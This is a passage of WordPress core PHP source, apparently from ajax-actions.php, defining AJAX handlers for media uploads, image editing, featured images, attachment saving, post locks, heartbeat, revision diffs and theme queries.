	/** This action is documented in wp-admin/includes/ajax-actions.php */
	do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	/** This action is documented in wp-admin/includes/ajax-actions.php */
	do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	/** This action is documented in wp-admin/widgets.php */
	do_action( 'sidebar_admin_setup' );

	$sidebars_widgets = wp_get_sidebars_widgets();

	foreach ( $sidebars_widgets['wp_inactive_widgets'] as $key => $widget_id ) {
		$pieces       = explode( '-', $widget_id );
		$multi_number = array_pop( $pieces );
		$id_base      = implode( '-', $pieces );
		$widget       = get_option( 'widget_' . $id_base );
		unset( $widget[ $multi_number ] );
		update_option( 'widget_' . $id_base, $widget );
		unset( $sidebars_widgets['wp_inactive_widgets'][ $key ] );
	}

	wp_set_sidebars_widgets( $sidebars_widgets );

	wp_die();
}

/**
 * Handles creating missing image sub-sizes for just uploaded images via AJAX.
 *
 * @since 5.3.0
 */
function wp_ajax_media_create_image_subsizes() {
	check_ajax_referer( 'media-form' );

	if ( ! current_user_can( 'upload_files' ) ) {
		wp_send_json_error( array( 'message' => __( 'Sorry, you are not allowed to upload files.' ) ) );
	}

	if ( empty( $_POST['attachment_id'] ) ) {
		wp_send_json_error( array( 'message' => __( 'Upload failed. Please reload and try again.' ) ) );
	}

	$attachment_id = (int) $_POST['attachment_id'];

	if ( ! empty( $_POST['_wp_upload_failed_cleanup'] ) ) {
		// Upload failed. Cleanup.
		if ( wp_attachment_is_image( $attachment_id ) && current_user_can( 'delete_post', $attachment_id ) ) {
			$attachment = get_post( $attachment_id );

			// Created at most 10 min ago.
			if ( $attachment && ( time() - strtotime( $attachment->post_date_gmt ) < 600 ) ) {
				wp_delete_attachment( $attachment_id, true );
				wp_send_json_success();
			}
		}
	}

	/*
	 * Set a custom header with the attachment_id.
	 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
	 */
	if ( ! headers_sent() ) {
		header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
	}

	/*
	 * This can still be pretty slow and cause timeout or out of memory errors.
	 * The js that handles the response would need to also handle HTTP 500 errors.
	 */
	wp_update_image_subsizes( $attachment_id );

	if ( ! empty( $_POST['_legacy_support'] ) ) {
		// The old (inline) uploader. Only needs the attachment_id.
		$response = array( 'id' => $attachment_id );
	} else {
		// Media modal and Media Library grid view.
		$response = wp_prepare_attachment_for_js( $attachment_id );

		if ( ! $response ) {
			wp_send_json_error( array( 'message' => __( 'Upload failed.' ) ) );
		}
	}

	// At this point the image has been uploaded successfully.
	wp_send_json_success( $response );
}

/**
 * Handles uploading attachments via AJAX.
 *
 * @since 3.3.0
 */
function wp_ajax_upload_attachment() {
	check_ajax_referer( 'media-form' );
	/*
	 * This function does not use wp_send_json_success() / wp_send_json_error()
	 * as the html4 Plupload handler requires a text/html Content-Type for older IE.
	 * See https://core.trac.wordpress.org/ticket/31037
	 */

	if ( ! current_user_can( 'upload_files' ) ) {
		echo wp_json_encode(
			array(
				'success' => false,
				'data'    => array(
					'message'  => __( 'Sorry, you are not allowed to upload files.' ),
					'filename' => esc_html( $_FILES['async-upload']['name'] ),
				),
			)
		);

		wp_die();
	}

	if ( isset( $_REQUEST['post_id'] ) ) {
		$post_id = $_REQUEST['post_id'];

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			echo wp_json_encode(
				array(
					'success' => false,
					'data'    => array(
						'message'  => __( 'Sorry, you are not allowed to attach files to this post.' ),
						'filename' => esc_html( $_FILES['async-upload']['name'] ),
					),
				)
			);

			wp_die();
		}
	} else {
		$post_id = null;
	}

	$post_data = ! empty( $_REQUEST['post_data'] ) ? _wp_get_allowed_postdata( _wp_translate_postdata( false, (array) $_REQUEST['post_data'] ) ) : array();

	if ( is_wp_error( $post_data ) ) {
		wp_die( $post_data->get_error_message() );
	}

	// If the context is custom header or background, make sure the uploaded file is an image.
	if ( isset( $post_data['context'] ) && in_array( $post_data['context'], array( 'custom-header', 'custom-background' ), true ) ) {
		$wp_filetype = wp_check_filetype_and_ext( $_FILES['async-upload']['tmp_name'], $_FILES['async-upload']['name'] );

		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
			echo wp_json_encode(
				array(
					'success' => false,
					'data'    => array(
						'message'  => __( 'The uploaded file is not a valid image. Please try again.' ),
						'filename' => esc_html( $_FILES['async-upload']['name'] ),
					),
				)
			);

			wp_die();
		}
	}

	$attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data );

	if ( is_wp_error( $attachment_id ) ) {
		echo wp_json_encode(
			array(
				'success' => false,
				'data'    => array(
					'message'  => $attachment_id->get_error_message(),
					'filename' => esc_html( $_FILES['async-upload']['name'] ),
				),
			)
		);

		wp_die();
	}

	if ( isset( $post_data['context'] ) && isset( $post_data['theme'] ) ) {
		if ( 'custom-background' === $post_data['context'] ) {
			update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', $post_data['theme'] );
		}

		if ( 'custom-header' === $post_data['context'] ) {
			update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', $post_data['theme'] );
		}
	}

	$attachment = wp_prepare_attachment_for_js( $attachment_id );
	if ( ! $attachment ) {
		wp_die();
	}

	echo wp_json_encode(
		array(
			'success' => true,
			'data'    => $attachment,
		)
	);

	wp_die();
}

/**
 * Handles image editing via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_image_editor() {
	$attachment_id = (int) $_POST['postid'];

	if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
		wp_die( -1 );
	}

	check_ajax_referer( "image_editor-$attachment_id" );
	require_once ABSPATH . 'wp-admin/includes/image-edit.php';

	$msg = false;

	switch ( $_POST['do'] ) {
		case 'save':
			$msg = wp_save_image( $attachment_id );
			if ( ! empty( $msg->error ) ) {
				wp_send_json_error( $msg );
			}

			wp_send_json_success( $msg );
			break;
		case 'scale':
			$msg = wp_save_image( $attachment_id );
			break;
		case 'restore':
			$msg = wp_restore_image( $attachment_id );
			break;
	}

	ob_start();
	wp_image_editor( $attachment_id, $msg );
	$html = ob_get_clean();

	if ( ! empty( $msg->error ) ) {
		wp_send_json_error(
			array(
				'message' => $msg,
				'html'    => $html,
			)
		);
	}

	wp_send_json_success(
		array(
			'message' => $msg,
			'html'    => $html,
		)
	);
}

/**
 * Handles setting the featured image via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_set_post_thumbnail() {
	$json = ! empty( $_REQUEST['json'] ); // New-style request.

	$post_id = (int) $_POST['post_id'];
	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

	$thumbnail_id = (int) $_POST['thumbnail_id'];

	if ( $json ) {
		check_ajax_referer( "update-post_$post_id" );
	} else {
		check_ajax_referer( "set_post_thumbnail-$post_id" );
	}

	if ( '-1' == $thumbnail_id ) {
		if ( delete_post_thumbnail( $post_id ) ) {
			$return = _wp_post_thumbnail_html( null, $post_id );
			$json ? wp_send_json_success( $return ) : wp_die( $return );
		} else {
			wp_die( 0 );
		}
	}

	if ( set_post_thumbnail( $post_id, $thumbnail_id ) ) {
		$return = _wp_post_thumbnail_html( $thumbnail_id, $post_id );
		$json ? wp_send_json_success( $return ) : wp_die( $return );
	}

	wp_die( 0 );
}

/**
 * Handles retrieving HTML for the featured image via AJAX.
 *
 * @since 4.6.0
 */
function wp_ajax_get_post_thumbnail_html() {
	$post_id = (int) $_POST['post_id'];

	check_ajax_referer( "update-post_$post_id" );

	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

	$thumbnail_id = (int) $_POST['thumbnail_id'];

	// For backward compatibility, -1 refers to no featured image.
	if ( -1 === $thumbnail_id ) {
		$thumbnail_id = null;
	}

	$return = _wp_post_thumbnail_html( $thumbnail_id, $post_id );
	wp_send_json_success( $return );
}

/**
 * Handles setting the featured image for an attachment via AJAX.
 *
 * @since 4.0.0
 *
 * @see set_post_thumbnail()
 */
function wp_ajax_set_attachment_thumbnail() {
	if ( empty( $_POST['urls'] ) || ! is_array( $_POST['urls'] ) ) {
		wp_send_json_error();
	}

	$thumbnail_id = (int) $_POST['thumbnail_id'];
	if ( empty( $thumbnail_id ) ) {
		wp_send_json_error();
	}

	if ( false === check_ajax_referer( 'set-attachment-thumbnail', '_ajax_nonce', false ) ) {
		wp_send_json_error();
	}

	$post_ids = array();
	// For each URL, try to find its corresponding post ID.
	foreach ( $_POST['urls'] as $url ) {
		$post_id = attachment_url_to_postid( $url );
		if ( ! empty( $post_id ) ) {
			$post_ids[] = $post_id;
		}
	}

	if ( empty( $post_ids ) ) {
		wp_send_json_error();
	}

	$success = 0;
	// For each found attachment, set its thumbnail.
	foreach ( $post_ids as $post_id ) {
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			continue;
		}

		if ( set_post_thumbnail( $post_id, $thumbnail_id ) ) {
			++$success;
		}
	}

	if ( 0 === $success ) {
		wp_send_json_error();
	} else {
		wp_send_json_success();
	}

	wp_send_json_error();
}

/**
 * Handles formatting a date via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_date_format() {
	wp_die( date_i18n( sanitize_option( 'date_format', wp_unslash( $_POST['date'] ) ) ) );
}

/**
 * Handles formatting a time via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_time_format() {
	wp_die( date_i18n( sanitize_option( 'time_format', wp_unslash( $_POST['date'] ) ) ) );
}

/**
 * Handles saving posts from the fullscreen editor via AJAX.
 *
 * @since 3.1.0
 * @deprecated 4.3.0
 */
function wp_ajax_wp_fullscreen_save_post() {
	$post_id = isset( $_POST['post_ID'] ) ? (int) $_POST['post_ID'] : 0;

	$post = null;

	if ( $post_id ) {
		$post = get_post( $post_id );
	}

	check_ajax_referer( 'update-post_' . $post_id, '_wpnonce' );

	$post_id = edit_post();

	if ( is_wp_error( $post_id ) ) {
		wp_send_json_error();
	}

	if ( $post ) {
		$last_date = mysql2date( __( 'F j, Y' ), $post->post_modified );
		$last_time = mysql2date( __( 'g:i a' ), $post->post_modified );
	} else {
		$last_date = date_i18n( __( 'F j, Y' ) );
		$last_time = date_i18n( __( 'g:i a' ) );
	}

	$last_id = get_post_meta( $post_id, '_edit_last', true );
	if ( $last_id ) {
		$last_user = get_userdata( $last_id );
		/* translators: 1: User's display name, 2: Date of last edit, 3: Time of last edit. */
		$last_edited = sprintf( __( 'Last edited by %1$s on %2$s at %3$s' ), esc_html( $last_user->display_name ), $last_date, $last_time );
	} else {
		/* translators: 1: Date of last edit, 2: Time of last edit. */
		$last_edited = sprintf( __( 'Last edited on %1$s at %2$s' ), $last_date, $last_time );
	}

	wp_send_json_success( array( 'last_edited' => $last_edited ) );
}

/**
 * Handles removing a post lock via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_wp_remove_post_lock() {
	if ( empty( $_POST['post_ID'] ) || empty( $_POST['active_post_lock'] ) ) {
		wp_die( 0 );
	}

	$post_id = (int) $_POST['post_ID'];
	$post    = get_post( $post_id );

	if ( ! $post ) {
		wp_die( 0 );
	}

	check_ajax_referer( 'update-post_' . $post_id );

	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

	$active_lock = array_map( 'absint', explode( ':', $_POST['active_post_lock'] ) );

	if ( get_current_user_id() != $active_lock[1] ) {
		wp_die( 0 );
	}

	/**
	 * Filters the post lock window duration.
	 *
	 * @since 3.3.0
	 *
	 * @param int $interval The interval in seconds the post lock duration
	 *                      should last, plus 5 seconds. Default 150.
	 */
	$new_lock = ( time() - apply_filters( 'wp_check_post_lock_window', 150 ) + 5 ) . ':' . $active_lock[1];
	update_post_meta( $post_id, '_edit_lock', $new_lock, implode( ':', $active_lock ) );
	wp_die( 1 );
}

/**
 * Handles dismissing a WordPress pointer via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_dismiss_wp_pointer() {
	$pointer = $_POST['pointer'];

	if ( sanitize_key( $pointer ) != $pointer ) {
		wp_die( 0 );
	}

	//  check_ajax_referer( 'dismiss-pointer_' . $pointer );

	$dismissed = array_filter( explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ) );

	if ( in_array( $pointer, $dismissed, true ) ) {
		wp_die( 0 );
	}

	$dismissed[] = $pointer;
	$dismissed   = implode( ',', $dismissed );

	update_user_meta( get_current_user_id(), 'dismissed_wp_pointers', $dismissed );
	wp_die( 1 );
}

/**
 * Handles getting an attachment via AJAX.
 *
 * @since 3.5.0
 */
function wp_ajax_get_attachment() {
	if ( ! isset( $_REQUEST['id'] ) ) {
		wp_send_json_error();
	}

	$id = absint( $_REQUEST['id'] );
	if ( ! $id ) {
		wp_send_json_error();
	}

	$post = get_post( $id );
	if ( ! $post ) {
		wp_send_json_error();
	}

	if ( 'attachment' !== $post->post_type ) {
		wp_send_json_error();
	}

	if ( ! current_user_can( 'upload_files' ) ) {
		wp_send_json_error();
	}

	$attachment = wp_prepare_attachment_for_js( $id );
	if ( ! $attachment ) {
		wp_send_json_error();
	}

	wp_send_json_success( $attachment );
}

/**
 * Handles querying attachments via AJAX.
 *
 * @since 3.5.0
 */
function wp_ajax_query_attachments() {
	if ( ! current_user_can( 'upload_files' ) ) {
		wp_send_json_error();
	}

	$query = isset( $_REQUEST['query'] ) ? (array) $_REQUEST['query'] : array();
	$keys  = array(
		's',
		'order',
		'orderby',
		'posts_per_page',
		'paged',
		'post_mime_type',
		'post_parent',
		'author',
		'post__in',
		'post__not_in',
		'year',
		'monthnum',
	);

	foreach ( get_taxonomies_for_attachments( 'objects' ) as $t ) {
		if ( $t->query_var && isset( $query[ $t->query_var ] ) ) {
			$keys[] = $t->query_var;
		}
	}

	$query              = array_intersect_key( $query, array_flip( $keys ) );
	$query['post_type'] = 'attachment';

	if (
		MEDIA_TRASH &&
		! empty( $_REQUEST['query']['post_status'] ) &&
		'trash' === $_REQUEST['query']['post_status']
	) {
		$query['post_status'] = 'trash';
	} else {
		$query['post_status'] = 'inherit';
	}

	if ( current_user_can( get_post_type_object( 'attachment' )->cap->read_private_posts ) ) {
		$query['post_status'] .= ',private';
	}

	// Filter query clauses to include filenames.
	if ( isset( $query['s'] ) ) {
		add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
	}

	/**
	 * Filters the arguments passed to WP_Query during an Ajax
	 * call for querying attachments.
	 *
	 * @since 3.7.0
	 *
	 * @see WP_Query::parse_query()
	 *
	 * @param array $query An array of query variables.
	 */
	$query             = apply_filters( 'ajax_query_attachments_args', $query );
	$attachments_query = new WP_Query( $query );
	update_post_parent_caches( $attachments_query->posts );

	$posts       = array_map( 'wp_prepare_attachment_for_js', $attachments_query->posts );
	$posts       = array_filter( $posts );
	$total_posts = $attachments_query->found_posts;

	if ( $total_posts < 1 ) {
		// Out-of-bounds, run the query again without LIMIT for total count.
		unset( $query['paged'] );

		$count_query = new WP_Query();
		$count_query->query( $query );
		$total_posts = $count_query->found_posts;
	}

	$posts_per_page = (int) $attachments_query->get( 'posts_per_page' );

	$max_pages = $posts_per_page ? (int) ceil( $total_posts / $posts_per_page ) : 0;

	header( 'X-WP-Total: ' . (int) $total_posts );
	header( 'X-WP-TotalPages: ' . $max_pages );

	wp_send_json_success( $posts );
}

/**
 * Handles updating attachment attributes via AJAX.
 *
 * @since 3.5.0
 */
function wp_ajax_save_attachment() {
	if ( ! isset( $_REQUEST['id'] ) || ! isset( $_REQUEST['changes'] ) ) {
		wp_send_json_error();
	}

	$id = absint( $_REQUEST['id'] );
	if ( ! $id ) {
		wp_send_json_error();
	}

	check_ajax_referer( 'update-post_' . $id, 'nonce' );

	if ( ! current_user_can( 'edit_post', $id ) ) {
		wp_send_json_error();
	}

	$changes = $_REQUEST['changes'];
	$post    = get_post( $id, ARRAY_A );

	if ( 'attachment' !== $post['post_type'] ) {
		wp_send_json_error();
	}

	if ( isset( $changes['parent'] ) ) {
		$post['post_parent'] = $changes['parent'];
	}

	if ( isset( $changes['title'] ) ) {
		$post['post_title'] = $changes['title'];
	}

	if ( isset( $changes['caption'] ) ) {
		$post['post_excerpt'] = $changes['caption'];
	}

	if ( isset( $changes['description'] ) ) {
		$post['post_content'] = $changes['description'];
	}

	if ( MEDIA_TRASH && isset( $changes['status'] ) ) {
		$post['post_status'] = $changes['status'];
	}

	if ( isset( $changes['alt'] ) ) {
		$alt = wp_unslash( $changes['alt'] );
		if ( get_post_meta( $id, '_wp_attachment_image_alt', true ) !== $alt ) {
			$alt = wp_strip_all_tags( $alt, true );
			update_post_meta( $id, '_wp_attachment_image_alt', wp_slash( $alt ) );
		}
	}

	if ( wp_attachment_is( 'audio', $post['ID'] ) ) {
		$changed = false;
		$id3data = wp_get_attachment_metadata( $post['ID'] );

		if ( ! is_array( $id3data ) ) {
			$changed = true;
			$id3data = array();
		}

		foreach ( wp_get_attachment_id3_keys( (object) $post, 'edit' ) as $key => $label ) {
			if ( isset( $changes[ $key ] ) ) {
				$changed         = true;
				$id3data[ $key ] = sanitize_text_field( wp_unslash( $changes[ $key ] ) );
			}
		}

		if ( $changed ) {
			wp_update_attachment_metadata( $id, $id3data );
		}
	}

	if ( MEDIA_TRASH && isset( $changes['status'] ) && 'trash' === $changes['status'] ) {
		wp_delete_post( $id );
	} else {
		wp_update_post( $post );
	}

	wp_send_json_success();
}

/**
 * Handles saving backward compatible attachment attributes via AJAX.
 *
 * @since 3.5.0
 */
function wp_ajax_save_attachment_compat() {
	if ( ! isset( $_REQUEST['id'] ) ) {
		wp_send_json_error();
	}

	$id = absint( $_REQUEST['id'] );
	if ( ! $id ) {
		wp_send_json_error();
	}

	if ( empty( $_REQUEST['attachments'] ) || empty( $_REQUEST['attachments'][ $id ] ) ) {
		wp_send_json_error();
	}

	$attachment_data = $_REQUEST['attachments'][ $id ];

	check_ajax_referer( 'update-post_' . $id, 'nonce' );

	if ( ! current_user_can( 'edit_post', $id ) ) {
		wp_send_json_error();
	}

	$post = get_post( $id, ARRAY_A );

	if ( 'attachment' !== $post['post_type'] ) {
		wp_send_json_error();
	}

	/** This filter is documented in wp-admin/includes/media.php */
	$post = apply_filters( 'attachment_fields_to_save', $post, $attachment_data );

	if ( isset( $post['errors'] ) ) {
		$errors = $post['errors']; // @todo return me and display me!
		unset( $post['errors'] );
	}

	wp_update_post( $post );

	foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
		if ( isset( $attachment_data[ $taxonomy ] ) ) {
			wp_set_object_terms( $id, array_map( 'trim', preg_split( '/,+/', $attachment_data[ $taxonomy ] ) ), $taxonomy, false );
		}
	}

	$attachment = wp_prepare_attachment_for_js( $id );

	if ( ! $attachment ) {
		wp_send_json_error();
	}

	wp_send_json_success( $attachment );
}

/**
 * Handles saving the attachment order via AJAX.
 *
 * @since 3.5.0
 */
function wp_ajax_save_attachment_order() {
	if ( ! isset( $_REQUEST['post_id'] ) ) {
		wp_send_json_error();
	}

	$post_id = absint( $_REQUEST['post_id'] );
	if ( ! $post_id ) {
		wp_send_json_error();
	}

	if ( empty( $_REQUEST['attachments'] ) ) {
		wp_send_json_error();
	}

	check_ajax_referer( 'update-post_' . $post_id, 'nonce' );

	$attachments = $_REQUEST['attachments'];

	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_send_json_error();
	}

	foreach ( $attachments as $attachment_id => $menu_order ) {
		if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
			continue;
		}

		$attachment = get_post( $attachment_id );

		if ( ! $attachment ) {
			continue;
		}

		if ( 'attachment' !== $attachment->post_type ) {
			continue;
		}

		wp_update_post(
			array(
				'ID'         => $attachment_id,
				'menu_order' => $menu_order,
			)
		);
	}

	wp_send_json_success();
}

/**
 * Handles sending an attachment to the editor via AJAX.
 *
 * Generates the HTML to send an attachment to the editor.
 * Backward compatible with the {@see 'media_send_to_editor'} filter
 * and the chain of filters that follow.
 *
 * @since 3.5.0
 */
function wp_ajax_send_attachment_to_editor() {
	check_ajax_referer( 'media-send-to-editor', 'nonce' );

	$attachment = wp_unslash( $_POST['attachment'] );

	$id = (int) $attachment['id'];

	$post = get_post( $id );
	if ( ! $post ) {
		wp_send_json_error();
	}

	if ( 'attachment' !== $post->post_type ) {
		wp_send_json_error();
	}

	if ( current_user_can( 'edit_post', $id ) ) {
		// If this attachment is unattached, attach it. Primarily a back compat thing.
		$insert_into_post_id = (int) $_POST['post_id'];

		if ( 0 == $post->post_parent && $insert_into_post_id ) {
			wp_update_post(
				array(
					'ID'          => $id,
					'post_parent' => $insert_into_post_id,
				)
			);
		}
	}

	$url = empty( $attachment['url'] ) ? '' : $attachment['url'];
	$rel = ( str_contains( $url, 'attachment_id' ) || get_attachment_link( $id ) === $url );

	remove_filter( 'media_send_to_editor', 'image_media_send_to_editor' );

	if ( str_starts_with( $post->post_mime_type, 'image' ) ) {
		$align = isset( $attachment['align'] ) ? $attachment['align'] : 'none';
		$size  = isset( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
		$alt   = isset( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';

		// No whitespace-only captions.
		$caption = isset( $attachment['post_excerpt'] ) ? $attachment['post_excerpt'] : '';
		if ( '' === trim( $caption ) ) {
			$caption = '';
		}

		$title = ''; // We no longer insert title tags into <img> tags, as they are redundant.
		$html  = get_image_send_to_editor( $id, $caption, $title, $align, $url, $rel, $size, $alt );
	} elseif ( wp_attachment_is( 'video', $post ) || wp_attachment_is( 'audio', $post ) ) {
		$html = stripslashes_deep( $_POST['html'] );
	} else {
		$html = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';
		$rel  = $rel ? ' rel="attachment wp-att-' . $id . '"' : ''; // Hard-coded string, $id is already sanitized.

		if ( ! empty( $url ) ) {
			$html = '<a href="' . esc_url( $url ) . '"' . $rel . '>' . $html . '</a>';
		}
	}

	/** This filter is documented in wp-admin/includes/media.php */
	$html = apply_filters( 'media_send_to_editor', $html, $id, $attachment );

	wp_send_json_success( $html );
}

/**
 * Handles sending a link to the editor via AJAX.
 *
 * Generates the HTML to send a non-image embed link to the editor.
 *
 * Backward compatible with the following filters:
 * - file_send_to_editor_url
 * - audio_send_to_editor_url
 * - video_send_to_editor_url
 *
 * @since 3.5.0
 *
 * @global WP_Post  $post     Global post object.
 * @global WP_Embed $wp_embed
 */
function wp_ajax_send_link_to_editor() {
	global $post, $wp_embed;

	check_ajax_referer( 'media-send-to-editor', 'nonce' );

	$src = wp_unslash( $_POST['src'] );
	if ( ! $src ) {
		wp_send_json_error();
	}

	if ( ! strpos( $src, '://' ) ) {
		$src = 'http://' . $src;
	}

	$src = sanitize_url( $src );
	if ( ! $src ) {
		wp_send_json_error();
	}

	$link_text = trim( wp_unslash( $_POST['link_text'] ) );
	if ( ! $link_text ) {
		$link_text = wp_basename( $src );
	}

	$post = get_post( isset( $_POST['post_id'] ) ? $_POST['post_id'] : 0 );

	// Ping WordPress for an embed.
	$check_embed = $wp_embed->run_shortcode( '[embed]' . $src . '[/embed]' );

	// Fallback that WordPress creates when no oEmbed was found.
	$fallback = $wp_embed->maybe_make_link( $src );

	if ( $check_embed !== $fallback ) {
		// TinyMCE view for [embed] will parse this.
		$html = '[embed]' . $src . '[/embed]';
	} elseif ( $link_text ) {
		$html = '<a href="' . esc_url( $src ) . '">' . $link_text . '</a>';
	} else {
		$html = '';
	}

	// Figure out what filter to run:
	$type = 'file';
	$ext  = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src );
	if ( $ext ) {
		$ext_type = wp_ext2type( $ext );
		if ( 'audio' === $ext_type || 'video' === $ext_type ) {
			$type = $ext_type;
		}
	}

	/** This filter is documented in wp-admin/includes/media.php */
	$html = apply_filters( "{$type}_send_to_editor_url", $html, $src, $link_text );

	wp_send_json_success( $html );
}

/**
 * Handles the Heartbeat API via AJAX.
 *
 * Runs when the user is logged in.
 *
 * @since 3.6.0
 */
function wp_ajax_heartbeat() {
	if ( empty( $_POST['_nonce'] ) ) {
		wp_send_json_error();
	}

	$response    = array();
	$data        = array();
	$nonce_state = wp_verify_nonce( $_POST['_nonce'], 'heartbeat-nonce' );

	// 'screen_id' is the same as $current_screen->id and the JS global 'pagenow'.
	if ( ! empty( $_POST['screen_id'] ) ) {
		$screen_id = sanitize_key( $_POST['screen_id'] );
	} else {
		$screen_id = 'front';
	}

	if ( ! empty( $_POST['data'] ) ) {
		$data = wp_unslash( (array) $_POST['data'] );
	}

	if ( 1 !== $nonce_state ) {
		/**
		 * Filters the nonces to send to the New/Edit Post screen.
		 *
		 * @since 4.3.0
		 *
		 * @param array  $response  The Heartbeat response.
		 * @param array  $data      The $_POST data sent.
		 * @param string $screen_id The screen ID.
		 */
		$response = apply_filters( 'wp_refresh_nonces', $response, $data, $screen_id );

		if ( false === $nonce_state ) {
			// User is logged in but nonces have expired.
			$response['nonces_expired'] = true;
			wp_send_json( $response );
		}
	}

	if ( ! empty( $data ) ) {
		/**
		 * Filters the Heartbeat response received.
		 *
		 * @since 3.6.0
		 *
		 * @param array  $response  The Heartbeat response.
		 * @param array  $data      The $_POST data sent.
		 * @param string $screen_id The screen ID.
		 */
		$response = apply_filters( 'heartbeat_received', $response, $data, $screen_id );
	}

	/**
	 * Filters the Heartbeat response sent.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The Heartbeat response.
	 * @param string $screen_id The screen ID.
	 */
	$response = apply_filters( 'heartbeat_send', $response, $screen_id );

	/**
	 * Fires when Heartbeat ticks in logged-in environments.
	 *
	 * Allows the transport to be easily replaced with long-polling.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The Heartbeat response.
	 * @param string $screen_id The screen ID.
	 */
	do_action( 'heartbeat_tick', $response, $screen_id );

	// Send the current time according to the server.
	$response['server_time'] = time();

	wp_send_json( $response );
}

/**
 * Handles getting revision diffs via AJAX.
 *
 * @since 3.6.0
 */
function wp_ajax_get_revision_diffs() {
	require ABSPATH . 'wp-admin/includes/revision.php';

	$post = get_post( (int) $_REQUEST['post_id'] );
	if ( ! $post ) {
		wp_send_json_error();
	}

	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		wp_send_json_error();
	}

	// Really just pre-loading the cache here.
	$revisions = wp_get_post_revisions( $post->ID, array( 'check_enabled' => false ) );
	if ( ! $revisions ) {
		wp_send_json_error();
	}

	$return = array();

	if ( function_exists( 'set_time_limit' ) ) {
		set_time_limit( 0 );
	}

	foreach ( $_REQUEST['compare'] as $compare_key ) {
		list( $compare_from, $compare_to ) = explode( ':', $compare_key ); // from:to

		$return[] = array(
			'id'     => $compare_key,
			'fields' => wp_get_revision_ui_diff( $post, $compare_from, $compare_to ),
		);
	}
	wp_send_json_success( $return );
}

/**
 * Handles auto-saving the selected color scheme for
 * a user's own profile via AJAX.
 *
 * @since 3.8.0
 *
 * @global array $_wp_admin_css_colors
 */
function wp_ajax_save_user_color_scheme() {
	global $_wp_admin_css_colors;

	check_ajax_referer( 'save-color-scheme', 'nonce' );

	$color_scheme = sanitize_key( $_POST['color_scheme'] );

	if ( ! isset( $_wp_admin_css_colors[ $color_scheme ] ) ) {
		wp_send_json_error();
	}

	$previous_color_scheme = get_user_meta( get_current_user_id(), 'admin_color', true );
	update_user_meta( get_current_user_id(), 'admin_color', $color_scheme );

	wp_send_json_success(
		array(
			'previousScheme' => 'admin-color-' . $previous_color_scheme,
			'currentScheme'  => 'admin-color-' . $color_scheme,
		)
	);
}

/**
 * Handles getting themes from themes_api() via AJAX.
 *
 * @since 3.9.0
 *
 * @global array $themes_allowedtags
 * @global array $theme_field_defaults
 */
function wp_ajax_query_themes() {
	global $themes_allowedtags, $theme_field_defaults;

	if ( ! current_user_can( 'install_themes' ) ) {
		wp_send_json_error();
	}

	$args = wp_parse_args(
		wp_unslash( $_REQUEST['request'] ),
		array(
			'per_page' => 20,
			'fields'   => array_merge(
				(array) $theme_field_defaults,
				array(
					'reviews_url' => true, // Explicitly request the reviews URL to be linked from the Add Themes screen.
				)
			),
		)
	);

	if ( isset( $args['browse'] ) && 'favorites' === $args['browse'] && ! isset( $args['user'] ) ) {
		$user = get_user_option( 'wporg_favorites' );
		if ( $user ) {
			$args['user'] = $user;
		}
	}

	$old_filter = isset( $args['browse'] ) ? $args['browse'] : 'search';

	/** This filter is documented in wp-admin/includes/class-wp-theme-install-list-table.php */
	$args = apply_filters( 'install_themes_table_api_args_' . $old_filter, $args );

	$api = themes_api( 'query_themes', $args );

	if ( is_wp_error( $api ) ) {
		wp_send_json_error();
	}

	$update_php = network_admin_url( 'update.php?action=install-theme' );

	$installed_themes = search_theme_directories();

	if ( false === $installed_themes ) {
		$installed_themes = array();
	}

	foreach ( $installed_themes as $theme_slug => $theme_data ) {
		// Ignore child themes.
		if ( str_contains( $theme_slug, '/' ) ) {
			unset( $installed_themes[ $theme_slug ] );
		}
	}

	foreach ( $api->themes as &$theme ) {
		$theme->install_url = add_query_arg(
			array(
				'theme'    => $theme->slug,
				'_wpnonce' => wp_create_nonce( 'install-theme_' . $theme->slug ),
			),
			$update_php
		);

		if ( current_user_can( 'switch_themes' ) ) {
			if ( is_multisite() ) {
				$theme->activate_url = add_query_arg(
					array(
						'action'   => 'enable',
						'_wpnonce' => wp_create_nonce( 'enable-theme_' . $theme->slug ),
						'theme'    => $theme->slug,
					),
					network_admin_url( 'themes.php' )
				);
			} else {
				$theme->activate_url = add_query_arg(
					array(
						'action'     => 'activate',
						'_wpnonce'   => wp_create_nonce( 'switch-theme_' . $theme->slug ),
						'stylesheet' => $theme->slug,
					),
					admin_url( 'themes.php' )
				);
			}
		}

		$is_theme_installed = array_key_exists( $theme->slug, $installed_themes );

		// We only care about installed themes.
		$theme->block_theme = $is_theme_installed && wp_get_theme( $theme->slug )->is_block_theme();

